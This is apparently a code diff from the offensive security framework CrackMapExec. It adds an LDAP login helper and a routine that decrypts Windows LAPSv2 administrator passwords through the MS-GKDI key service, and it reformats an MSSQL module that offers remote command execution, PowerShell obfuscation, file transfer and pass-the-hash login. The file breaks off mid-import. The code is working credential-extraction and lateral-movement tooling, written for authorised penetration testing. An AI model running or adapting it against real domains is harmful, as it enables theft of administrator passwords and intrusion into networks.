self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
|
||||
return False
|
||||
except KerberosError as e:
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}",
|
||||
color="red",
|
||||
)
|
||||
return False
|
||||
|
||||
def auth_login(self, domain, username, password, ntlm_hash):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
elif ntlm_hash:
|
||||
nthash = ntlm_hash
|
||||
|
||||
# Create the baseDN
|
||||
baseDN = ""
|
||||
domainParts = domain.split(".")
|
||||
for i in domainParts:
|
||||
baseDN += f"dc={i},"
|
||||
# Remove last ','
|
||||
baseDN = baseDN[:-1]
|
||||
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain)
|
||||
ldapConnection.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
# Connect to LDAP
|
||||
out = "{domain}\\{username}:{password if password else ntlm_hash}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
# self.logger.success(out)
|
||||
|
||||
return ldapConnection
|
||||
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain)
|
||||
ldapConnection.login(username, password, domain, lmhash, nthash)
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
# self.logger.success(out)
|
||||
return ldapConnection
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red",
|
||||
)
|
||||
else:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
|
||||
except OSError as e:
|
||||
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
|
||||
return False
|
||||
|
||||
class LAPSv2Extract:
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
self.nthash = ntlm_hash
|
||||
self.lmhash = ''
|
||||
|
||||
self.data = data
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.domain = domain
|
||||
self.do_kerberos = do_kerberos
|
||||
self.kdcHost = kdcHost
|
||||
self.logger = None
|
||||
self.proto_logger(self.domain, port, self.domain)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
|
||||
|
||||
def run(self):
|
||||
KDSCache = {}
|
||||
self.logger.info('[-] Unpacking blob')
|
||||
try:
|
||||
encryptedLAPSBlob = EncryptedPasswordBlob(self.data)
|
||||
parsed_cms_data, remaining = decoder.decode(encryptedLAPSBlob['Blob'], asn1Spec=rfc5652.ContentInfo())
|
||||
enveloped_data_blob = parsed_cms_data['content']
|
||||
parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData())
|
||||
|
||||
recipient_infos = parsed_enveloped_data['recipientInfos']
|
||||
kek_recipient_info = recipient_infos[0]['kekri']
|
||||
kek_identifier = kek_recipient_info['kekid']
|
||||
key_id = KeyIdentifier(bytes(kek_identifier['keyIdentifier']))
|
||||
tmp,_ = decoder.decode(kek_identifier['other']['keyAttr'])
|
||||
sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8")
|
||||
target_sd = create_sd(sid)
|
||||
except Exception as e:
|
||||
logging.error('Cannot unpack msLAPS-EncryptedPassword blob due to error %s' % str(e))
|
||||
return
|
||||
|
||||
# Check if item is in cache
|
||||
if key_id['RootKeyId'] in KDSCache:
|
||||
self.logger.info("Got KDS from cache")
|
||||
gke = KDSCache[key_id['RootKeyId']]
|
||||
else:
|
||||
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
|
||||
stringBinding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol='ncacn_ip_tcp')
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
rpctransport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
|
||||
if self.do_kerberos:
|
||||
self.logger.info("Connecting using kerberos")
|
||||
rpctransport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost)
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
self.logger.info("Connecting to %s" % stringBinding)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
logging.error("Something went wrong, check error status => %s" % str(e))
|
||||
return False
|
||||
self.logger.info("Connected")
|
||||
try:
|
||||
dce.bind(MSRPC_UUID_GKDI)
|
||||
except Exception as e:
|
||||
logging.error("Something went wrong, check error status => %s" % str(e))
|
||||
return False
|
||||
self.logger.info("Successfully bound")
|
||||
|
||||
|
||||
self.logger.info("Calling MS-GKDI GetKey")
|
||||
resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id['L0Index'], l1=key_id['L1Index'], l2=key_id['L2Index'], root_key_id=key_id['RootKeyId'])
|
||||
self.logger.info("Decrypting password")
|
||||
# Unpack GroupKeyEnvelope
|
||||
gke = GroupKeyEnvelope(b''.join(resp['pbbOut']))
|
||||
KDSCache[gke['RootKeyId']] = gke
|
||||
|
||||
kek = compute_kek(gke, key_id)
|
||||
self.logger.info("KEK:\t%s" % kek)
|
||||
enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
|
||||
iv, _ = decoder.decode(enc_content_parameter)
|
||||
iv = bytes(iv[0])
|
||||
|
||||
cek = unwrap_cek(kek, bytes(kek_recipient_info['encryptedKey']))
|
||||
self.logger.info("CEK:\t%s" % cek)
|
||||
plaintext = decrypt_plaintext(cek, iv, remaining)
|
||||
self.logger.info(plaintext[:-18].decode('utf-16le'))
|
||||
return plaintext[:-18].decode('utf-16le')
|
||||
@@ -1,164 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.krb5.kerberosv5 import KerberosError
|
||||
from cme.logger import CMEAdapter
|
||||
|
||||
|
||||
ldap_error_status = {
|
||||
"1": "STATUS_NOT_SUPPORTED",
|
||||
"533": "STATUS_ACCOUNT_DISABLED",
|
||||
"701": "STATUS_ACCOUNT_EXPIRED",
|
||||
"531": "STATUS_ACCOUNT_RESTRICTION",
|
||||
"530": "STATUS_INVALID_LOGON_HOURS",
|
||||
"532": "STATUS_PASSWORD_EXPIRED",
|
||||
"773": "STATUS_PASSWORD_MUST_CHANGE",
|
||||
"775": "USER_ACCOUNT_LOCKED",
|
||||
"50": "LDAP_INSUFFICIENT_ACCESS",
|
||||
"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED"
|
||||
}
|
||||
|
||||
|
||||
class LDAPConnect:
|
||||
|
||||
def __init__(self, host, port, hostname):
|
||||
self.logger = None
|
||||
self.proto_logger(host, port, hostname)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
self.logger = CMEAdapter(
|
||||
extra={
|
||||
"protocol": "LDAP",
|
||||
"host": host,
|
||||
"port": port,
|
||||
"hostname": hostname
|
||||
}
|
||||
)
|
||||
|
||||
def kerberos_login(self, domain, username, password='', ntlm_hash='', aesKey='', kdcHost='', useCache=False):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
if kdcHost is None:
|
||||
kdcHost = domain
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
elif ntlm_hash:
|
||||
nthash = ntlm_hash
|
||||
|
||||
# Create the baseDN
|
||||
baseDN = ''
|
||||
domainParts = domain.split('.')
|
||||
for i in domainParts:
|
||||
baseDN += f"dc={i},"
|
||||
# Remove last ','
|
||||
baseDN = baseDN[:-1]
|
||||
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
|
||||
ldapConnection.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdcHost, useCache=False)
|
||||
# Connect to LDAP
|
||||
out = f"{domain}{username}:{password if password else ntlm_hash}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
return ldapConnection
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
|
||||
ldapConnection.login(username, password, domain, lmhash, nthash, aesKey, kdcHost=kdcHost, useCache=False)
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
# self.logger.success(out)
|
||||
return ldapConnection
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red"
|
||||
)
|
||||
else:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red"
|
||||
)
|
||||
return False
|
||||
|
||||
except OSError as e:
|
||||
self.logger.debug(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
|
||||
)
|
||||
return False
|
||||
except KerberosError as e:
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {str(e)}",
|
||||
color="red"
|
||||
)
|
||||
return False
|
||||
|
||||
def plaintext_login(self, domain, username, password, ntlm_hash):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
elif ntlm_hash:
|
||||
nthash = ntlm_hash
|
||||
|
||||
# Create the baseDN
|
||||
baseDN = ''
|
||||
domainParts = domain.split(".")
|
||||
for i in domainParts:
|
||||
baseDN += f"dc={i},"
|
||||
# Remove last ','
|
||||
baseDN = baseDN[:-1]
|
||||
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain)
|
||||
ldapConnection.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
# Connect to LDAP
|
||||
out = u"{domain}\\{username}:{password if password else ntlm_hash}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
# self.logger.success(out)
|
||||
|
||||
return ldapConnection
|
||||
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain)
|
||||
ldapConnection.login(username, password, domain, lmhash, nthash)
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
# self.logger.success(out)
|
||||
return ldapConnection
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red"
|
||||
)
|
||||
else:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red"
|
||||
)
|
||||
return False
|
||||
|
||||
except OSError as e:
|
||||
self.logger.debug(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}"
|
||||
)
|
||||
return False
|
||||
|
||||
+124
-62
@@ -13,8 +13,18 @@ from cme.helpers.powershell import create_ps_command
|
||||
from impacket import tds
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
|
||||
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
|
||||
from impacket.tds import (
|
||||
SQLErrorException,
|
||||
TDS_LOGINACK_TOKEN,
|
||||
TDS_ERROR_TOKEN,
|
||||
TDS_ENVCHANGE_TOKEN,
|
||||
TDS_INFO_TOKEN,
|
||||
TDS_ENVCHANGE_VARCHAR,
|
||||
TDS_ENVCHANGE_DATABASE,
|
||||
TDS_ENVCHANGE_LANGUAGE,
|
||||
TDS_ENVCHANGE_CHARSET,
|
||||
TDS_ENVCHANGE_PACKETSIZE,
|
||||
)
|
||||
|
||||
|
||||
class mssql(connection):
|
||||
@@ -24,13 +34,13 @@ class mssql(connection):
|
||||
self.server_os = None
|
||||
self.hash = None
|
||||
self.os_arch = None
|
||||
self.nthash = ''
|
||||
self.nthash = ""
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@staticmethod
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
mssql_parser = parser.add_parser('mssql', help="own stuff using MSSQL", parents=[std_parser, module_parser])
|
||||
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
|
||||
dgroup = mssql_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain name")
|
||||
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
|
||||
@@ -39,19 +49,47 @@ class mssql(connection):
|
||||
mssql_parser.add_argument("-q", "--query", dest='mssql_query', metavar='QUERY', type=str, help='execute the specified query against the MSSQL DB')
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
|
||||
cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
|
||||
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
|
||||
cgroup.add_argument(
|
||||
"--force-ps32",
|
||||
action="store_true",
|
||||
help="force the PowerShell command to run in a 32-bit process",
|
||||
)
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
xgroup = cgroup.add_mutually_exclusive_group()
|
||||
xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
|
||||
xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')
|
||||
xgroup.add_argument(
|
||||
"-x",
|
||||
metavar="COMMAND",
|
||||
dest="execute",
|
||||
help="execute the specified command",
|
||||
)
|
||||
xgroup.add_argument(
|
||||
"-X",
|
||||
metavar="PS_COMMAND",
|
||||
dest="ps_execute",
|
||||
help="execute the specified PowerShell command",
|
||||
)
|
||||
|
||||
psgroup = mssql_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
|
||||
psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
|
||||
psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts')
|
||||
psgroup = mssql_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
|
||||
psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
|
||||
psgroup.add_argument(
|
||||
"--clear-obfscripts",
|
||||
action="store_true",
|
||||
help="Clear all cached obfuscated PowerShell scripts",
|
||||
)
|
||||
|
||||
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
|
||||
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt')
|
||||
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt')
|
||||
tgroup.add_argument(
|
||||
"--put-file",
|
||||
nargs=2,
|
||||
metavar="FILE",
|
||||
help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt",
|
||||
)
|
||||
tgroup.add_argument(
|
||||
"--get-file",
|
||||
nargs=2,
|
||||
metavar="FILE",
|
||||
help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt",
|
||||
)
|
||||
|
||||
return parser
|
||||
|
||||
@@ -72,7 +110,7 @@ class mssql(connection):
|
||||
"protocol": "MSSQL",
|
||||
"host": self.host,
|
||||
"port": self.args.port,
|
||||
"hostname": "None"
|
||||
"hostname": "None",
|
||||
}
|
||||
)
|
||||
|
||||
@@ -114,7 +152,13 @@ class mssql(connection):
|
||||
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
|
||||
|
||||
self.mssql_instances = self.conn.getInstances(0)
|
||||
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances))
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.server_os,
|
||||
len(self.mssql_instances),
|
||||
)
|
||||
|
||||
try:
|
||||
self.conn.disconnect()
|
||||
@@ -122,9 +166,7 @@ class mssql(connection):
|
||||
pass
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(
|
||||
f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})"
|
||||
)
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
# if len(self.mssql_instances) > 0:
|
||||
# self.logger.display("MSSQL DB Instances: {}".format(len(self.mssql_instances)))
|
||||
# for i, instance in enumerate(self.mssql_instances):
|
||||
@@ -156,7 +198,16 @@ class mssql(connection):
|
||||
return False
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
try:
|
||||
self.conn.disconnect()
|
||||
except:
|
||||
@@ -175,18 +226,27 @@ class mssql(connection):
|
||||
hashes = f":{ntlm_hash}"
|
||||
nthash = ntlm_hash
|
||||
|
||||
if not all('' == s for s in [self.nthash, password, aesKey]):
|
||||
if not all("" == s for s in [self.nthash, password, aesKey]):
|
||||
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
|
||||
else:
|
||||
kerb_pass = ''
|
||||
kerb_pass = ""
|
||||
try:
|
||||
res = self.conn.kerberosLogin(None, username, password, domain, hashes, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
res = self.conn.kerberosLogin(
|
||||
None,
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
hashes,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=useCache,
|
||||
)
|
||||
if res is not True:
|
||||
self.conn.printReplies()
|
||||
return False
|
||||
|
||||
self.password = password
|
||||
if username == '' and useCache:
|
||||
if username == "" and useCache:
|
||||
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
|
||||
principal = ccache.principal.toPrincipal()
|
||||
self.username = principal.components[0]
|
||||
@@ -196,12 +256,12 @@ class mssql(connection):
|
||||
self.domain = domain
|
||||
self.check_if_admin()
|
||||
|
||||
out = u"{}{}{} {}".format(
|
||||
f'{domain}\\' if not self.args.local_auth else '',
|
||||
out = "{}{}{} {}".format(
|
||||
f"{domain}\\" if not self.args.local_auth else "",
|
||||
username,
|
||||
# Show what was used between cleartext, nthash, aesKey and ccache
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
" from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8),
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""),
|
||||
)
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
@@ -209,11 +269,13 @@ class mssql(connection):
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.fail(
|
||||
u"{}\\{}{} {}".format(
|
||||
f'{domain}\\' if not self.args.local_auth else '',
|
||||
username,
|
||||
" from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}",
|
||||
e))
|
||||
"{}\\{}{} {}".format(
|
||||
f"{domain}\\" if not self.args.local_auth else "",
|
||||
username,
|
||||
" from ccache" if useCache else f":{kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8}",
|
||||
e,
|
||||
)
|
||||
)
|
||||
return False
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
@@ -241,11 +303,11 @@ class mssql(connection):
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user("plaintext", domain, username, password, self.host)
|
||||
|
||||
out = u"{}{}:{} {}".format(
|
||||
f'{domain}\\' if not self.args.local_auth else '',
|
||||
out = "{}{}:{} {}".format(
|
||||
f"{domain}\\" if not self.args.local_auth else "",
|
||||
username,
|
||||
process_secret(password),
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""),
|
||||
)
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
@@ -254,9 +316,7 @@ class mssql(connection):
|
||||
except BrokenPipeError as e:
|
||||
self.logger.fail(f"Broken Pipe Error while attempting to login")
|
||||
except Exception as e:
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{process_secret(password)}"
|
||||
)
|
||||
self.logger.fail(f"{domain}\\{username}:{process_secret(password)}")
|
||||
self.logger.exception(e)
|
||||
return False
|
||||
|
||||
@@ -283,7 +343,7 @@ class mssql(connection):
|
||||
"",
|
||||
domain,
|
||||
":" + nthash if not lmhash else ntlm_hash,
|
||||
not self.args.local_auth
|
||||
not self.args.local_auth,
|
||||
)
|
||||
if res is not True:
|
||||
self.conn.printReplies()
|
||||
@@ -298,11 +358,11 @@ class mssql(connection):
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
|
||||
|
||||
out = u"{}\\{} {} {}".format(
|
||||
out = "{}\\{} {} {}".format(
|
||||
domain,
|
||||
username,
|
||||
process_secret(ntlm_hash),
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else '')
|
||||
highlight(f'({self.config.get("CME", "pwn3d_label")})' if self.admin_privs else ""),
|
||||
)
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
@@ -311,16 +371,14 @@ class mssql(connection):
|
||||
except BrokenPipeError as e:
|
||||
self.logger.fail(f"Broken Pipe Error while attempting to login")
|
||||
except Exception as e:
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}"
|
||||
)
|
||||
self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}")
|
||||
return False
|
||||
|
||||
def mssql_query(self):
|
||||
result = self.conn.sql_query(self.args.mssql_query)
|
||||
self.logger.debug(f"SQL Query Result: {result}")
|
||||
for line in StringIO(self.conn._MSSQL__rowsPrinter.getMessage()).readlines():
|
||||
if line.strip() != '':
|
||||
if line.strip() != "":
|
||||
self.logger.highlight(line.strip())
|
||||
return self.conn._MSSQL__rowsPrinter.getMessage()
|
||||
|
||||
@@ -353,7 +411,14 @@ class mssql(connection):
|
||||
return raw_output
|
||||
|
||||
@requires_admin
|
||||
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=True):
|
||||
def ps_execute(
|
||||
self,
|
||||
payload=None,
|
||||
get_output=False,
|
||||
methods=None,
|
||||
force_ps32=False,
|
||||
dont_obfs=True,
|
||||
):
|
||||
if not payload and self.args.ps_execute:
|
||||
payload = self.args.ps_execute
|
||||
if not self.args.no_output:
|
||||
@@ -396,28 +461,27 @@ class mssql(connection):
|
||||
for i, key in enumerate(self.replies[keys]):
|
||||
if key["TokenType"] == TDS_ERROR_TOKEN:
|
||||
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
self.lastError = SQLErrorException(
|
||||
f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
self.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
|
||||
self._MSSQL__rowsPrinter.error(error)
|
||||
|
||||
elif key["TokenType"] == TDS_INFO_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
|
||||
)
|
||||
self._MSSQL__rowsPrinter.info(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
|
||||
|
||||
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) "
|
||||
)
|
||||
self._MSSQL__rowsPrinter.info(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ")
|
||||
|
||||
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN:
|
||||
if key["Type"] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
||||
if key["Type"] in (
|
||||
TDS_ENVCHANGE_DATABASE,
|
||||
TDS_ENVCHANGE_LANGUAGE,
|
||||
TDS_ENVCHANGE_CHARSET,
|
||||
TDS_ENVCHANGE_PACKETSIZE,
|
||||
):
|
||||
record = TDS_ENVCHANGE_VARCHAR(key["Data"])
|
||||
if record["OldValue"] == "":
|
||||
record["OldValue"] = "None".encode('utf-16le')
|
||||
elif record["NewValue"] == '':
|
||||
record["NewValue"] = "None".encode('utf-16le')
|
||||
record["OldValue"] = "None".encode("utf-16le")
|
||||
elif record["NewValue"] == "":
|
||||
record["NewValue"] = "None".encode("utf-16le")
|
||||
if key["Type"] == TDS_ENVCHANGE_DATABASE:
|
||||
_type = "DATABASE"
|
||||
elif key["Type"] == TDS_ENVCHANGE_LANGUAGE:
|
||||
@@ -428,8 +492,6 @@ class mssql(connection):
|
||||
_type = "PACKETSIZE"
|
||||
else:
|
||||
_type = f"{key['Type']:d}"
|
||||
self._MSSQL__rowsPrinter.info(
|
||||
f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}"
|
||||
)
|
||||
self._MSSQL__rowsPrinter.info(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}")
|
||||
|
||||
tds.MSSQL.printReplies = printRepliesCME
|
||||
|
||||
+51
-100
@@ -3,7 +3,11 @@
|
||||
|
||||
from sqlalchemy import MetaData, func, Table, select, insert, update, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
